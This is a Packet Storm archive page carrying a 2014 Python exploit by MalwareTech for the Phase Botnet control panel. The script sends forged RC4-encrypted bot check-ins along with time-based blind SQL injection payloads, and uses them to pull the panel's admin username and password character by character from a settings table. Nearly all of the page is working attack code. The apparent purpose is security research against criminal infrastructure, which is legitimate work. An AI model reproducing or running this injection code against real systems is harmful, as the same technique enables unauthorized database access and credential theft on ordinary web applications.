exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Phase Botnet SQL Injection

Phase Botnet SQL Injection
Posted Dec 23, 2014
Authored by MalwareTech

Phase Botnet suffers from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | c079b908abba039954017bcb1ff54fc668aa91a2b422c53fc10cc0101125c86b

Phase Botnet SQL Injection

Change Mirror Download
import requests
import time
import sys

wait_delay = 5 #Depending on connection delay and server speed, you may need to make this a larger number
KnockString = 'g=a&w=a&b=a&d=a&p=a&m=a' #lol no integrity verification

PostData = ""

def rc4_crypt(data , key):
S = list(range(256))
j = 0
out = []

for i in range(256):
j = (j + S[i] + ord( key[i % len(key)] )) % 256
S[i] , S[j] = S[j] , S[i]

i = j = 0
for char in data:
i = ( i + 1 ) % 256
j = ( j + S[i] ) % 256
S[i] , S[j] = S[j] , S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
return ''.join(out)

def brute_length(url, id):
for i in range(0, 30):
Injection = "\"', (IF(LENGTH((SELECT value FROM settings WHERE id='%d')) = %d, SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, i, wait_delay)
ConnectUrl = url + '?i=' + Injection

start = time.time()
r = requests.post(ConnectUrl, data=PostData, headers='')
end = time.time()

if((end - start) >= wait_delay):
return i

return 0

def brute_char(url, position, id):
sys.stdout.write(" ")
sys.stdout.flush()

for i in range(32, 127):
Injection = "\"', (IF(SUBSTRING((SELECT value FROM settings WHERE id='%d'), %d, 1) = BINARY CHAR(%d), SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, position, i, wait_delay)
ConnectUrl = url + '?i=' + Injection

sys.stdout.write("\b%c" % chr(i))
sys.stdout.flush()

start = time.time()
r = requests.post(ConnectUrl, data=PostData, headers='')
end = time.time()

if((end - start) >= wait_delay):
break

def brute_panel(url):
global KnockString, PostData

PostData = 'aaaa' + rc4_crypt(KnockString, 'aaaa')

print"Username: ",;
sys.stdout.flush()
ulen = brute_length(url, 1)

for i in range(1, ulen+1):
brute_char(url, i, 1)

print"\nPassword: ",
sys.stdout.flush()
plen = brute_length(url, 2)

for i in range(1, plen+1):
brute_char(url, i, 2)
print""

if(len(sys.argv) >= 2):
brute_panel(sys.argv[1])
else:
print("enter panel gate url")
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close